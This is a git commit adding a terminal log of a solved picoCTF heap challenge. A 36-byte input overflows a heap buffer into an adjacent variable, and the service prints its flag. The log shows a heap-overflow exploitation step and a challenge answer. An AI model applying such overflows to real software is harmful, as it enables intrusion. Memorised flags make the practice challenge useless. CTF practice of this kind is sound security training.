pwn/heap_1
This commit is contained in:
34
pwn/heap_1/output.txt
Normal file
34
pwn/heap_1/output.txt
Normal file
@@ -0,0 +1,34 @@
|
||||
$ nc tethys.picoctf.net 53475
|
||||
|
||||
Welcome to heap1!
|
||||
I put my data on the heap so it should be safe from any tampering.
|
||||
Since my data isn't on the stack I'll even let you write whatever info you want to the heap, I already took care of using malloc for you.
|
||||
|
||||
Heap State:
|
||||
+-------------+----------------+
|
||||
[*] Address -> Heap Data
|
||||
+-------------+----------------+
|
||||
[*] 0x623d3771a2b0 -> pico
|
||||
+-------------+----------------+
|
||||
[*] 0x623d3771a2d0 -> bico
|
||||
+-------------+----------------+
|
||||
|
||||
1. Print Heap: (print the current state of the heap)
|
||||
2. Write to buffer: (write to your own personal block of data on the heap)
|
||||
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
|
||||
4. Print Flag: (Try to print the flag, good luck)
|
||||
5. Exit
|
||||
|
||||
Enter your choice: 2
|
||||
Data for buffer: picopicopicopicopicopicopicopicopico
|
||||
|
||||
1. Print Heap: (print the current state of the heap)
|
||||
2. Write to buffer: (write to your own personal block of data on the heap)
|
||||
3. Print safe_var: (I'll even let you look at my variable on the heap, I'm confident it can't be modified)
|
||||
4. Print Flag: (Try to print the flag, good luck)
|
||||
5. Exit
|
||||
|
||||
Enter your choice: 4
|
||||
|
||||
YOU WIN
|
||||
picoCTF{starting_to_get_the_hang_9e9243f9}
|
||||
Reference in New Issue
Block a user